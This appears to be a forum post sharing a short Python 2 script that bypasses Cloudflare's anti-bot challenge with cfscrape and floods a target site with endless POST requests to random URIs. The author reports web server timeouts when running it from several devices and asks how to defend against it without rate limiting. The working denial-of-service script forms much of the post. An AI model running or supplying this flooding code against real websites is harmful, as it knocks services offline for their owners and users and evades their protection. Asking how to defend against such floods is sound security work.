I took some time and wrote a very simple script that can down a website using cloudflare. I see this as something cloudflare should work on for free users, since nobody has money to spend on rate limiting or cloudflare pro.
# pip install cfscrape # Python2 import cfscrape import random s = cfscrape.create_scraper() while 1: x = str(random.random()) print s.post('http://example.com/'+x).headers
It spams post requests or any requests really to a random URI on the target website, flooding the web server. As a DoS, it cannot harm the web server, but with multiple devices, I’ve noticed web server timeouts.
Could someone please reply and inform me what could be done to stop this without the usage of rate limiting?